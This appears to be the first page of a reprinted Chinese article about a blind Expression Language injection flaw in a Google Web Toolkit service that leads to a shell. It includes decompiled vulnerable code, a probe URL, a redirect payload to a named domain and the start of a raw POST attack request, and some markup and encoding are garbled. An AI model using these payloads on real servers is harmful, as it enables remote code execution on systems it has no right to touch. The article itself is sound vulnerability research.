如何在Google Web Toolkit环境下Getshell

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-16


 
Google Web Toolkit简称(GWT),是一款开源Java软件开发框架。今天这篇文章会介绍如何在这样的环境中通过注入表达式语句从而导致的高危漏洞。
 
漏洞介绍
在WEB-INF/web.xml中,我发现了以下的web端点映射:
servlet>
servlet-name>someServiceservlet-name>
servlet-class>com.aaa.bbb.ccc.ddd.server.SomeServiceImplservlet-class>
servlet>
servlet-mapping>
servlet-name>someServiceservlet-name>
url-pattern>/someService.gwtsvcurl-pattern>
servlet-mapping>
我们可以从上面代码中看到引用了服务器映射。由于GWT可以通过定义客户端以便于表示客户端能够进行哪些访问。我们看看这些客户端类com.aaa.bbb.ccc.ddd.client:
public abstract interface SomeServiceextends RemoteService{public abstract void sendBeanName(String paramString);public abstract Boolean setMibNodesInfo(List paramList);public abstract void createMibNodeGettingBean();}
通过以上代码我们可以看到有三个函数,所以把它们单独拿出来,看看它们的各自功能都是什么。在ServiceImpl的主函数中,我们找到了如下代码:
public void sendBeanName(String paramString){if (paramString == null) {return;}HttpSession localHttpSession = super.getThreadLocalRequest().getSession();if (localHttpSession != null) {localHttpSession.setAttribute("MibWidgetBeanName", paramString);}}
在这段代码中我们通过输入字符串来更改”MibWidgetBeanName”属性。除了这一点,好像没有什么可以利用的。我们继续看setMibNodesInfo函数:
public Boolean setMibNodesInfo(List paramList){List localList = ModelUtil.mibNodeModelList2MibNodeList(paramList);if (localList != null){MibNodesSelect localMibNodesSelect = getBeanByName();
这个函数需要一个MIBNodeModel类型的一个列表。mibNodeModelList2MibNodeList这个方法会检查我们输入的列表是否符合规范,并且根据列表的一个元素的值返回不同的值。
如果列表是空,这个函数会定义一个新列表,并且将内容设置为MIBNodeModel的默认值。然后getBeanByName函数就会被调用。继续看看这一函数吧
private MibNodesSelect getBeanByName()
{

Object localObject1 = super.getThreadLocalRequest().getSession();
if (localObject1 != null)
{
  localObject2 = (String)((HttpSession)localObject1).getAttribute("MibWidgetBeanName");
  if (localObject2 != null)
  {
    localObject3 = null;
    try
    {
      localObject3 = (MibNodesSelect)FacesUtils.getValueExpressionObject(localFacesContext, "#{" + (String)localObject2 + "}");
    }
    finally
    {
      if ((localFacesContext != null) && (i != 0)) {
        localFacesContext.release();
      }
    }
    return (MibNodesSelect)localObject3;
  }
}
return null;
}
由于这是一个私有函数,所以我们不能通过客户端直接查看到这个函数的内容。在第8行我们可以了解到这里再次使用了”MibWidgetBeanName”属性,将一个字符串存储到了localObject2中。
localObject2这个变量稍后会在第14行被用到去接受一个语言表达式。很明显,这是一个经典的表达式注入漏洞,不过前提是先反汇编出代码呀~
 
攻击过程
首先,这不是一个有返回值的语言表达式注入漏洞。这就意味着你不知道它是不是已经执行你输入的命令。因此,我将它认为是语言表达式盲注。
我通过一个简单的例子进行说明,假如我们一个JSF(java服务器框架)存在这样的一个漏洞,那么漏洞代码会类似下方:
那么,通过以下攻击代码就可以实现攻击
http://[target]/some_endpoint/vuln.jsf?expression=9%3b1
由于浏览器会将”+”号转换为空格,所以我们对”+”号进行url编码,如果我们得到的结果是10,那么我们就知道服务器已经执行这一个”9+1”这个命令。使用数学表达式进行注入检测是burpsuit检测注入的方法。
但是,在上述我们进行审计的代码当中,我们是不是不能去轻易的判断他是不是存在语言表达式漏洞?当然不是,我们还有其他方法。通过查找JSF说明文档,我发现了一些特别棒的函数,能够方便我们在不发出http请求确定是否存在EL注入
Oracle官方文档陈述道你可以在FacesContext对象中使用getExternalContext方法。这个方法会返回一个ExternalContext类型的值,它允许我们设置特定对象的响应属性。当我查看文档时,这两个函数引起了我的注意:
setResponseCharacterEncoding
redirect
因此我们可以通过设置这个特定字符串为下面java代码:
facesContext.getExternalContext().redirect("http://srcincite.io/");
如果响应状态值为302,重定向到了”http://srcincite.io/ “,那么我们就可以确定存在漏洞。
 
漏洞测试
我们第一个请求是对MibWidgetBeanName属性进行赋值
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: /
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8

[1] [2]  下一页